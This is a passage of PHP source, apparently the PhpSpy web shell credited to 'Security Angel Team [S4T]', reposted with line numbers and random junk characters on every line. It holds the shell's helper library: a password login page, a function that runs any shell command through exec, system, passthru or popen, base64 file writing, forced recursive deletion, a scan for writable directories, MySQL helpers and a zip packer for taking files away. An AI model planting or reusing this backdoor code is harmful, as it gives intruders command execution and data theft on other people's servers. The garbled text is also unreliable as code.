  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    * V: B2 m4 R. c0 Y, x- I& u9 m
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.3 X0 w$ j$ D. S  V% U
  1320. </div>
    . j9 }, C, v4 T5 D7 i( c
  1321. </body>& c. x2 w  m  e
  1322. </html>8 H9 I% {/ ]4 @* Z) k( x3 R0 o

  1323. : G7 @" o1 P  u* ^" E1 n: H: B/ L
  1324. <?php# w2 P5 a2 D- ^
  1325. , W5 W3 a' m( O/ ?$ z
  1326. /*======================================================/ z4 L4 k: Y; O( p! r
  1327. 函数库: E, j# x3 F4 J0 b* K1 g  @9 a
  1328. ======================================================*/
      w7 @) h$ i8 h& Q

  1329. 7 w% M3 G* d' e) d$ O" ?& X
  1330. function m($msg) {/ [+ P$ K; i7 Z/ l- ^! I7 o# f
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';7 f+ {# t# J$ C9 C1 I9 e1 x0 `; ^
  1332.         echo $msg;
    , M) x& p5 P/ N5 x. ]8 s5 U
  1333.         echo '</div>';' k  }1 k3 p) o; G- q! w6 B# X. z3 X
  1334. }  X' P4 h8 ?( e4 i
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    ; Z' C) r- A7 l$ l% o
  1336.         global $admin, $timestamp, $_SERVER;% f7 P$ k# t, r4 J7 N0 s2 g
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;# R* s& v& V: a' [4 ?4 P# ^
  1338.         $life = $life ? $life : $admin['cookielife'];
    3 ]& ?7 M; l' F' c2 j
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;% P4 S; L& r' r  u8 N6 o, r5 ?4 _
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);1 Z/ |/ y7 ~+ l8 ~. B
  1341. }        7 c8 v; D7 m2 L( }
  1342. function multi($num, $perpage, $curpage, $tablename) {! a4 B' i* ?* a
  1343.         $multipage = '';
    , J' l, `  t9 N! S( ~  e
  1344.         if($num > $perpage) {
    / ~) A8 t- V( P9 v! ^4 ~
  1345.                 $page = 10;0 d% T' U$ E- B2 _" r. P' M: m2 y
  1346.                 $offset = 5;' v3 h9 V! n- H: Q( Q, t& y' f
  1347.                 $pages = @ceil($num / $perpage);
    " R' F$ @0 [" e* w) R
  1348.                 if($page > $pages) {
    3 G7 C8 J* ]0 o6 S* N* d% t5 N
  1349.                         $from = 1;
    8 L5 ~( P7 l+ ~2 H" X) i& j$ K' Z; [! M- K
  1350.                         $to = $pages;  }* Q" G7 E8 {4 J5 \2 L
  1351.                 } else {7 l9 R& z, h/ B  O( G  M
  1352.                         $from = $curpage - $offset;3 e% @3 ^/ G& R7 ^# m- ~
  1353.                         $to = $curpage + $page - $offset - 1;
    " h$ u& D- {! J6 w& \$ b
  1354.                         if($from < 1) {
    4 I  m1 m9 h- T" `$ Q$ H: [1 ]* N3 r
  1355.                                 $to = $curpage + 1 - $from;
    1 w% @/ \$ y6 s! d2 H8 ]! r
  1356.                                 $from = 1;
    % G% D: K: \1 ]2 x( {
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {9 X# F9 b3 j" b: ~7 I4 y, T
  1358.                                         $to = $page;" Z0 _& a0 i; s6 z% d; i/ ?
  1359.                                 }# p1 M3 N0 @4 e
  1360.                         } elseif($to > $pages) {
    % @5 A# L: h- H8 V( \" N8 y
  1361.                                 $from = $curpage - $pages + $to;
    . K  r! H* S' f, V# N) e
  1362.                                 $to = $pages;0 [$ p( L1 u" k& q5 T- }
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {% @4 w/ H1 Q8 o
  1364.                                         $from = $pages - $page + 1;7 W% C% C1 [2 [/ d7 S) V4 H
  1365.                                 }
    % n7 `$ [& m! H4 f- Y$ B$ y
  1366.                         }
    + }' ?: V7 Z# c( D. |8 d+ d( ^2 m
  1367.                 }) _8 ~1 W( a( \& ~5 L; ~& i
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    + ^7 x4 a& x- L8 _* \
  1369.                 for($i = $from; $i <= $to; $i++) {) p0 B- j' W, ~& ~
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';/ V& |. B' P+ n" J$ [
  1371.                 }
    , L+ b' X' T* o0 I- t# v
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');; B/ w0 I4 n3 m% J6 X
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';* k7 I; {* b) w; S* b$ W1 k
  1374.         }( f! z  v1 N, H; J4 ?+ m
  1375.         return $multipage;
    1 x. d' @$ u6 _2 e. o1 f
  1376. }
    3 F4 ~3 N, {/ Y% H: \% @
  1377. // 登陆入口
    # Z' a+ Z6 }$ @) g3 F9 f# _9 J" C
  1378. function loginpage() {- h; Q' Y2 U' Z. K+ S6 r# O
  1379. ?>* M" h( O3 a$ ~1 w; Y4 B$ w
  1380.         <style type="text/css">
    + P6 A( S& H2 m0 V
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      z7 p  T3 ^6 f
  1382.         </style>* Y8 O+ r6 Y, T2 Q* X0 A) C& L( j
  1383.         <form method="POST" action="">
    0 u6 t9 m. U2 M
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">5 R6 |, s. g8 q* n) l8 j/ Q
  1385.         <input type="hidden" name="doing" value="login">
    1 C+ y  r6 @/ q$ M+ D! [
  1386.         <input type="submit" value="Login">
    + L+ y) c, f1 v3 q
  1387.         </form>- n4 @: o' p1 `, f5 S9 i
  1388. <?php
    1 p+ |$ K6 L3 t  a' d
  1389.         exit;! A+ S3 U3 \. S3 Z6 Z
  1390. }//end loginpage()8 B; ~2 _% x+ N* G, G, a# T
  1391. 8 t- r, J( v. y  R8 ]
  1392. function execute($cfe) {8 t  M( f; k) `& s
  1393.         $res = '';
    ) J9 M  b4 e7 Z. T  w7 B
  1394.         if ($cfe) {" z  R- r8 [" O* h" M* }
  1395.                 if(function_exists('exec')) {; T+ P" n" y% k" q( V) t, `' {
  1396.                         @exec($cfe,$res);7 d3 j( ]/ i  m: O
  1397.                         $res = join("\n",$res);
    ) e/ f/ a3 `" V. C) z
  1398.                 } elseif(function_exists('shell_exec')) {
      e. j1 y3 w4 `% c% h' Z7 q! P
  1399.                         $res = @shell_exec($cfe);
    % Z6 X8 z& T* T) V6 E3 i
  1400.                 } elseif(function_exists('system')) {; }6 T8 k& S% N# q' T' ]. |
  1401.                         @ob_start();* z4 V8 F1 l- R
  1402.                         @system($cfe);
    ) Z! e2 Q" D* o; M. K9 f
  1403.                         $res = @ob_get_contents();
    7 b3 ]3 D$ `: L$ \& f' n: w& h
  1404.                         @ob_end_clean();
      m, b0 ?4 E: Y4 F% v7 ~
  1405.                 } elseif(function_exists('passthru')) {
    7 \4 f+ H2 [% ~, r) e+ ?" s
  1406.                         @ob_start();
    ! [2 k/ K9 Y( o4 h
  1407.                         @passthru($cfe);
    2 {+ t4 {. P( ?* S& [# W
  1408.                         $res = @ob_get_contents();
    9 N3 y7 {8 d" E& J' Z4 s6 O
  1409.                         @ob_end_clean();9 q6 n5 x% \2 e$ K. g# l8 F
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {" X" g$ O' N& H- a2 a  r. q& m7 \* G
  1411.                         $res = '';, {5 y* ^( N+ e, a& i7 Q
  1412.                         while(!@feof($f)) {# \% @( y9 G: Y# H' ], A
  1413.                                 $res .= @fread($f,1024);
    % A0 q1 V4 Z" f1 u! v$ o9 P3 g
  1414.                         }9 ]# |% B! |9 s  @9 Q
  1415.                         @pclose($f);, O$ y/ y1 k! p, L) _3 w
  1416.                 }, z( a0 R$ H( U: }; y& P
  1417.         }6 T8 J  h0 g* m3 {; `9 Y
  1418.         return $res;
    ! `2 k: X- Z9 X+ u1 Z
  1419. }! c6 ]4 z0 I* p0 f) S( G' |8 T
  1420. function which($pr) {
    5 \0 e7 L. N" ~& Q
  1421.         $path = execute("which $pr");1 W9 l9 Q3 O% t5 `6 g" ]% d
  1422.         return ($path ? $path : $pr);
    8 ?4 T+ U/ Z8 U+ d# P7 ?. Y: c
  1423. }
    . H% r+ e/ Q+ \* o+ y# [

  1424. 2 b  P& W  M) a8 _" k& K
  1425. function cf($fname,$text){! D3 j' y, e, E8 L" n6 {6 v
  1426.         if($fp=@fopen($fname,'w')) {
    7 G/ P3 C; `  w: z1 J# f% z3 }8 t
  1427.                 @fputs($fp,@base64_decode($text));0 b! [2 @2 M, v8 l' r7 n  S
  1428.                 @fclose($fp);9 b5 O+ d* V% F) v2 T: H& [2 q
  1429.         }
    . y* H# p  W' i1 C( ~
  1430. }" W; v% N* Y+ Y: D8 H; W

  1431. 3 m: }3 C& N, f8 h3 v
  1432. // 页面调试信息
    5 o& ^) n( j) L
  1433. function debuginfo() {
      y6 O  A$ \2 }0 d8 t2 f' }
  1434.         global $starttime;
    ; x. C* C8 j3 f9 m+ w7 ~. {
  1435.         $mtime = explode(' ', microtime());
    7 E  A3 q; B+ w0 C( `
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    " M: n. l. k  R2 L  x
  1437.         echo 'Processed in '.$totaltime.' second(s)';! ~- d; A8 Y* P6 f* o0 U
  1438. }
    5 L6 z+ T# v& Y! I; \. V* @) B# Y

  1439. 3 V3 Z' R3 ~8 ?9 l
  1440. //连接数据库- ]: @* \! C  n& b3 ^  _, u" C
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {/ ^" N3 R( R$ ~4 W9 M( T
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {: ^2 L) ]$ d2 Y- ?3 w
  1443.                 p('<h2>Can not connect to MySQL server</h2>');# o# ~9 Y7 K8 m2 I8 s1 _4 a0 V
  1444.                 exit;$ z( T: }8 E: H; |, o) q
  1445.         }
    7 t: S2 R" J! L; s
  1446.         if($link && $dbname) {
    " N4 T0 y7 c0 w: S8 q+ l
  1447.                 if (!@mysql_select_db($dbname, $link)) {. c7 j, \' D0 ~7 `6 y# g: P
  1448.                         p('<h2>Database selected has error</h2>');
    4 q, Z# K+ q# z8 u4 l7 E9 k* d1 ?
  1449.                         exit;
    / w6 d5 q* W: _, h" x: P+ {! U
  1450.                 }2 c9 x4 R& y6 c& y/ q  Y7 h
  1451.         }
    ) F  u' e# p! v3 t8 a6 M7 R
  1452.         if($link && mysql_get_server_info() > '4.1') {
    # h0 _; x# O  B+ h4 B% a* ?) y9 W4 P
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {! R$ d9 U4 }7 f" o1 e2 K* S, z2 W- |
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    2 `) U; Z( W$ Z& l# \$ q% M* C
  1455.                 }2 e! q* Z) V* r& x% l5 ~
  1456.         }$ Y% x; R4 l; k; E
  1457.         return $link;
    ; o( l/ k1 T. B7 O" `- N
  1458. }' d0 v4 b7 s" {/ E
  1459. ; z0 N. N4 R- o5 h5 W) L/ M
  1460. // 去掉转义字符
    ( {% t" V5 {3 u5 a" M3 G& e
  1461. function s_array(&$array) {
    ; ~$ ~8 X; ]5 P
  1462.         if (is_array($array)) {6 E* j7 s8 t% j* b! u( W6 m
  1463.                 foreach ($array as $k => $v) {. Y" Z1 [' b3 B- ~% \' T$ o
  1464.                         $array[$k] = s_array($v);
    9 S+ K$ n4 n. S
  1465.                 }+ V& f4 f2 I& s) X3 b
  1466.         } else if (is_string($array)) {
    ( C$ Y! g. y  a3 C4 `+ [- P2 ]
  1467.                 $array = stripslashes($array);) ?4 ]5 e6 C: r9 N& M9 C
  1468.         }
    % ^- t1 S  }! v
  1469.         return $array;9 E8 ]/ |, W, N
  1470. }) h, {8 ?/ N- R9 j

  1471. / n6 }6 E# X# F4 ]: x. a3 j
  1472. // 清除HTML代码
      }: w( k2 B; G7 A+ G$ V% h$ Q
  1473. function html_clean($content) {
    . c& C/ D4 L$ Z" d- P
  1474.         $content = htmlspecialchars($content);
    ! ^6 C8 L+ l& x6 L' N
  1475.         $content = str_replace("\n", "<br />", $content);
    4 d+ O& A8 N$ V/ F
  1476.         $content = str_replace("  ", "  ", $content);
      {" o. E3 m( D+ U7 E4 A0 [5 Y' X
  1477.         $content = str_replace("\t", "    ", $content);
    " T( |4 o+ d, T' t
  1478.         return $content;& ]- H- W2 {  y/ c4 d3 Y& O
  1479. }
    # ~' b0 F& v$ S' i4 q

  1480. $ W  A" T& c& V
  1481. // 获取权限) a, N0 Y+ M5 n
  1482. function getChmod($filepath){
    9 a& R- Z# C$ n: Q, ?  \
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);. o! a9 q; z, ]( R6 {, _! G( r0 B
  1484. }
    2 p3 K( ~# L2 D) M8 l- h* D

  1485. " ^4 m5 ^% z% q6 q
  1486. function getPerms($filepath) {; ~0 M' K+ L" ^' U9 S% u, I7 H
  1487.         $mode = @fileperms($filepath);5 l5 _# I3 F+ @! o
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    % T: v; b: m0 }! P
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    / A% g# h' H: t+ X$ x
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}) o' d6 m* N9 o4 m0 l, `# E
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    # C2 ^8 d. k% U8 k3 d, d4 [- l6 |
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    7 q0 F' [: u6 n/ ^1 r' U8 ~
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    6 }* w2 W' I2 c+ w/ M8 I% {7 s
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    7 @: i1 i* f& L, H% O/ Z* f) |
  1495.         else {$type = '?';}9 k% ?0 J) f6 }/ ~5 A1 ]3 l

  1496. 5 p* _5 Q1 \) w: j
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; # T( f0 |2 [5 v! J' P" ^" R5 g
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-'; 7 ^, y9 P1 j* G: {0 Z  Z# @
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; : `' F& _1 [* n
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-'; ! l: @8 u# T7 i4 P
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; * N2 |+ j' `5 Y+ Q6 m
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; 6 D! r9 q/ e/ H4 [; f
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    8 {& H9 Y( k5 I% V- c1 J, E* S
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    1 N3 t3 V$ [& D* d3 M
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
    5 k: r4 C" `, l1 ~) Y
  1506. 1 E; y# W; ^4 ]- p$ @* j" L
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}+ Y0 ^: t/ a, U4 J5 O
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    % w5 r/ G+ I9 Q  X+ m  `: @
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}/ ~9 c; m% |0 J

  1510. 1 H% K, ]2 i& b  f1 s
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    6 Y4 V% `  v; C  t) T# u
  1512. }: z- W& i3 X9 A+ @

  1513. & T2 u5 N0 U' \* `3 K
  1514. function getUser($filepath)        {2 q" ^! {& w6 l6 |
  1515.         if (function_exists('posix_getpwuid')) {
    ) x5 x. K8 ^! c6 x  T
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));5 `: @) [) b$ k
  1517.                 if ($array && is_array($array)) {
    5 N8 R: k5 q" e. f; S1 g
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'' a' @1 F$ Z. W, u
  1519. Passwd: '.$array['passwd'].'
    & e% s0 W- t# j1 S* Q
  1520. Uid: '.$array['uid'].'
    8 x9 @6 r; d  n% k: E
  1521. gid: '.$array['gid'].', u; S4 @2 u# R% x+ a5 f; {# d% {' e
  1522. Gecos: '.$array['gecos'].'* |7 f0 E, c0 T2 J8 Z
  1523. Dir: '.$array['dir'].'
    # i' L9 l; n) q9 N" Y8 \
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';. c4 w+ X7 x* h% H) O, x& k& l/ y
  1525.                 }  i" M1 S* v; e
  1526.         }
    $ X6 m5 |3 m0 e: n$ c
  1527.         return '';
    2 R. `2 H* _+ `4 f
  1528. }
    / M' v3 o* c* `9 F  E6 g0 P- |- l

  1529. 1 s  s1 S3 e' {, r, X1 v' G
  1530. // 删除目录
    0 P4 @6 ^! `# Y1 `& n8 [
  1531. function deltree($deldir) {7 L# c! ?4 }1 z; e3 H0 ^8 X
  1532.         $mydir=@dir($deldir);        8 j2 p3 u) \+ f1 ]) Y  X; T
  1533.         while($file=$mydir->read())        {                 4 b/ z8 x$ ]9 d7 j: Z
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    / [+ ^* M% ^, {
  1535.                         @chmod($deldir.'/'.$file,0777);
    ; f* g  Y3 w3 M- N, B' B, Q6 B
  1536.                         deltree($deldir.'/'.$file);
    , e. m) a' {7 b$ ?: C
  1537.                 }
    + F% o- b& h  ~# T1 O% d. x0 S
  1538.                 if (is_file($deldir.'/'.$file)) {
    7 U9 Y; ~) k0 D  H% k
  1539.                         @chmod($deldir.'/'.$file,0777);  a6 z! c, d+ J, P
  1540.                         @unlink($deldir.'/'.$file);# F( ^+ Q: P* `' [
  1541.                 }
    , M' C3 G5 }" j, I- T
  1542.         }
    " k/ i$ [; B, f  J* Z/ s
  1543.         $mydir->close(); 0 V' U3 N/ Q. m2 m. l- n" i2 h' z1 ^/ n
  1544.         @chmod($deldir,0777);1 b5 w7 G+ g) H
  1545.         return @rmdir($deldir) ? 1 : 0;
    / k7 v; j) o" H3 c5 x, B7 f& e1 A
  1546. }
    - p! {6 U1 Z5 f
  1547. % K8 c  P& Z* F. `
  1548. // 表格行间的背景色替换* H2 G) M. L: j0 d7 Q
  1549. function bg() {4 i2 O/ C& U% R: L. M
  1550.         global $bgc;
    $ h5 D4 R" O3 A
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
    ) A" j' I/ z) A" R- r7 @# d
  1552. }, k+ e, Y! M4 x+ D0 L* }* w  [3 [

  1553.   M$ n5 Q6 z& g0 x! W
  1554. // 获取当前的文件系统路径
    - Q" M7 G% w# }9 F' [/ i
  1555. function getPath($scriptpath, $nowpath) {( e) P! a5 W8 ^9 |. ]  j8 J
  1556.         if ($nowpath == '.') {
    " y7 U- c3 M$ f* V, P9 a- _" O
  1557.                 $nowpath = $scriptpath;! R( N  ]! W4 D# D' Z
  1558.         }
    : w! {+ h8 Z; y+ k" i2 K: a8 M4 J/ A" u
  1559.         $nowpath = str_replace('\\', '/', $nowpath);( Y6 U* Z; |; d4 j3 z% h0 Y* y2 I
  1560.         $nowpath = str_replace('//', '/', $nowpath);
    0 U; W4 J- ?& D3 O6 e" Q, o: p% w6 M) N
  1561.         if (substr($nowpath, -1) != '/') {, h" w- O6 l' a) n# n# I2 w
  1562.                 $nowpath = $nowpath.'/';
    : c5 x" v9 l$ P0 w5 q2 B: Y
  1563.         }
    1 C$ f8 z: M; J, f0 O9 B
  1564.         return $nowpath;
    0 _' F* H' z% p6 d! O8 D) e
  1565. }
    8 G4 B+ K1 N4 I! v* G% I

  1566.   B4 ^% Y& o! Q) V3 W% \& j9 v
  1567. // 获取当前目录的上级目录
    ) k' p" e0 [: Z+ o& y( b$ `" u* A
  1568. function getUpPath($nowpath) {
    * m4 L: e: W7 J/ s- d
  1569.         $pathdb = explode('/', $nowpath);
    , u9 U. w, X& _: @/ W- `
  1570.         $num = count($pathdb);0 p( Q* ?* V  }0 q; I
  1571.         if ($num > 2) {
    ; X1 V7 m8 w" N( C
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);4 \6 {8 V' s# d' i* ?$ H
  1573.         }# K7 W2 P% W9 }" Z- l" o
  1574.         $uppath = implode('/', $pathdb).'/';% L6 Y* @1 A; s( F( O. K+ Y7 E
  1575.         $uppath = str_replace('//', '/', $uppath);+ n$ B  x* E& X
  1576.         return $uppath;  u4 y* {* d; P% B0 ^! n
  1577. }
    ! V& H) ~4 A  p& L! O* V
  1578. ) A- ^% ?! K& e# c! j
  1579. // 检查PHP配置参数, O) {4 r+ R0 J5 Y3 d
  1580. function getcfg($varname) {# ]" [, L# ~, G  A4 O" B3 z- k
  1581.         $result = get_cfg_var($varname);" \3 b/ a1 ~0 m" ^/ N
  1582.         if ($result == 0) {. ~5 f4 M( L$ ~' z9 O
  1583.                 return 'No';
    3 t0 h* X9 |7 f+ X
  1584.         } elseif ($result == 1) {9 i, i7 J9 ~9 H/ ]
  1585.                 return 'Yes';
    " p0 D8 T6 g7 ~9 }* |
  1586.         } else {6 W+ D# h* A+ N1 h
  1587.                 return $result;) P  A& k$ U1 J" m8 P
  1588.         }
    9 M! I' v8 L% _9 Q
  1589. }+ g6 s3 a; M5 o# v9 M- Z5 R+ P: b
  1590. + Q: L, w8 R; g# R0 c3 F+ p! P
  1591. // 检查函数情况% S) A! B$ u( P/ T" C- y  f! x# \
  1592. function getfun($funName) {0 U/ O4 J# t' [0 L+ k. o
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';9 e  _1 D" B! I# {! G" W
  1594. }1 \/ d* x; m+ @6 b& E% q) U
  1595. " w" I: o( d' }% B, a5 p0 B
  1596. function GetList($dir){3 a. N& g# n: x4 ]
  1597.         global $dirdata,$j,$nowpath;
    7 S& e3 s* T/ i& d! `% q  A
  1598.         !$j && $j=1;
    " w0 a- Q2 c5 x6 w4 F+ U. Q
  1599.         if ($dh = opendir($dir)) {
    ' p3 ~0 T; j  K
  1600.                 while ($file = readdir($dh)) {
    , y! y" w" ?0 s( d# l/ i
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    / w; [) H9 x1 b+ V6 @7 n
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){. o4 {- t% F. U' x2 Z# ?
  1603.                                 if (is_writable($f)) {
    2 E- l4 N4 x! j3 y8 k7 s. p9 @
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    1 j) }1 f/ U  K) M+ U5 o$ q6 G
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    5 ]+ f, R1 z0 D+ o% y+ w6 S
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    9 G. o! @$ k* N$ \! Q# G# |4 j
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    0 v  j5 M$ Q; v' Q
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);: I  G/ x  P$ |6 H
  1609.                                         $dirdata[$j]['server_link']=$f;
    " t6 z* L9 G) @; F: H
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    + d0 Q4 b% H6 U/ U, h5 x0 l" R+ J
  1611.                                         $j++;
    3 @' C, M7 p% H& n) Q: O3 i
  1612.                                 }0 {& H% X4 w- ]% z& F. C5 N% k$ G7 Y
  1613.                                 GetList($f);
    . H8 }: \, J; O1 v5 t2 m
  1614.                         }8 Y, X+ D$ s& x7 w. d+ _9 R
  1615.                 }
    4 T* U9 w; W  y" z2 O* p+ h! {& P  N
  1616.                 closedir($dh);
    * f/ \% V# U! ~4 W
  1617.                 clearstatcache();
    2 _, d6 K0 B: O
  1618.                 return $dirdata;2 Y" i9 n+ D5 u$ `7 l+ F& Q7 E
  1619.         } else {
    * q" Y1 i- I+ i/ k" A6 `& I
  1620.                 return array();
    9 A; M3 c# k# x" S& E9 [9 e' v
  1621.         }
    / C/ v/ q- k: I& G  p, o
  1622. }3 t* y5 {3 [; q1 A0 \8 i

  1623. # B0 Z& q8 r; X6 f2 F  |* _# P5 i
  1624. function qy($sql) { * E, _$ X- l" D. t% G
  1625.         //echo $sql.'<br>';1 a$ r, G6 g# Y  i+ f' ?8 h
  1626.         $res = $error = '';
    ( L( y) X4 C. @5 S
  1627.         if(!$res = @mysql_query($sql)) { 2 i4 w( w8 h. _7 y& U( {8 K5 z
  1628.                 return 0;
    ; j# {$ S3 O! a
  1629.         } else if(is_resource($res)) {2 O3 b. h! n& R# V$ B- }
  1630.                 return 1;
    . a9 z% x2 c" E6 E) [& M# s2 V
  1631.         } else {' h0 E0 Q# _  D- U, q, Y1 \9 p, J5 I
  1632.                 return 2;6 Q" g6 K; }" O1 H+ P  ^5 o: h
  1633.         }       
    6 z, a, S/ B1 n# t/ m
  1634.         return 0;. b6 k/ t1 ]: g* ?: |8 y. T
  1635. }2 h2 |5 f6 \# V+ N$ i

  1636. 8 ?- t* v. d8 Z2 u5 U% j  {7 k/ R! d
  1637. function q($sql) { 9 P6 y: k: |. D7 L$ ]
  1638.         return @mysql_query($sql);. ^& t- L( g, M. S. E, m# @
  1639. }
    " I  ]9 H1 d, `8 W& }: K# _, l
  1640. , z8 W" M. z: n' y3 ~
  1641. function fr($qy){
    . a% F4 e/ v7 A7 K% t2 o
  1642.         mysql_free_result($qy);
    - `! H7 t% P! B) d' Q
  1643. }
    % {. V' U5 G' I

  1644. . B' A, X! a0 j+ ?
  1645. function sizecount($size) {
    5 N( y7 s0 H% Z
  1646.         if($size > 1073741824) {3 X6 w: F5 v" b$ h
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';/ O0 V1 |7 O4 [1 [& ?+ o
  1648.         } elseif($size > 1048576) {
    ' Y# O. q, v, ~- _
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';4 t# j1 ]4 A' q" \& d
  1650.         } elseif($size > 1024) {8 @0 ]% V9 F3 M$ `2 x+ ]& ]$ r+ p( j
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    " o; j! U( {2 D0 M3 P
  1652.         } else {
    ' ?  \; f4 p$ m9 F
  1653.                 $size = $size . ' B';: R# V) f- T  T6 N& S
  1654.         }& w' `$ ?3 D) J+ u4 ^7 g
  1655.         return $size;
    3 U1 _* ^' S! g& M6 Y
  1656. }+ v. U; }& x8 Z" n: P2 J
  1657. - O8 }5 W, ]3 S- `! H* G! \
  1658. // 压缩打包类
    : c8 r* W. D5 C, g# u; p+ @
  1659. class PHPZip{/ H2 N6 }& a5 N# o" D: N) }/ j
  1660.         var $out='';* t; W) W* B# R
  1661.         function PHPZip($dir)        {
    5 {% F/ m6 k3 d6 Y
  1662.                 if (@function_exists('gzcompress'))        {! z9 G" d0 b- B8 M$ T; D7 R
  1663.                         $curdir = getcwd();
    3 r6 Y( d) q; B$ g
  1664.                         if (is_array($dir)) $filelist = $dir;- Y: m& k2 F/ E+ t3 h
  1665.                         else{
    : Q; B' k4 [1 V: m/ r
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表, @2 h. l  B3 o& B$ U& [
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);- \' ^  K! Z9 O5 D& V
  1668.                         }
    , j. f7 |. I1 ^& O: c0 q* x( t
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);7 ?- D2 R- U7 K/ Z' t
  1670.                         else chdir($curdir);
    ( ]3 i# n, x2 m, M/ p, Y
  1671.                         if (count($filelist)>0){, h* n# X/ ^$ d! ]  d/ L$ g/ |; m
  1672.                                 foreach($filelist as $filename){( o* i' t4 Z7 F' X8 V
  1673.                                         if (is_file($filename)){
    - @7 S0 G' j4 m0 e. [
  1674.                                                 $fd = fopen ($filename, 'r');9 T+ k1 F6 F& D7 ?: g" P/ T3 `
  1675.                                                 $content = @fread ($fd, filesize($filename));: c' w! }- v5 Q5 H' a  [# s
  1676.                                                 fclose ($fd);# V# x0 t0 b( t8 @+ t4 w& Y  s
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    6 _) q4 }" g6 t+ y5 U: U
  1678.                                                 $this -> addFile($content, $filename);; T, E: `. v6 I. t" ^
  1679.                                         }6 p4 f% F' y4 q2 D; u
  1680.                                 }& ?/ o& o+ I6 Y
  1681.                                 $this->out = $this -> file();: T/ M0 S" x& }: [1 f
  1682.                                 chdir($curdir);* p7 Q1 n0 C, l2 E3 Y6 L6 _3 w1 }
  1683.                         }: g% O' x7 Z% g
  1684.                         return 1;
    + W. [. N5 T* G* G. ?/ h  a
  1685.                 }/ N; e: B6 ?  l5 K( C  r. |; w
  1686.                 else return 0;4 ~1 b4 u* d' R& M8 Y8 K: O+ x3 D
  1687.         }, z. L/ @' d3 b8 w

  1688. % [: _  O- g9 u+ r
  1689.         // 获得指定目录文件列表; _8 `! ?/ S( ?# F
  1690.         function GetFileList($dir){
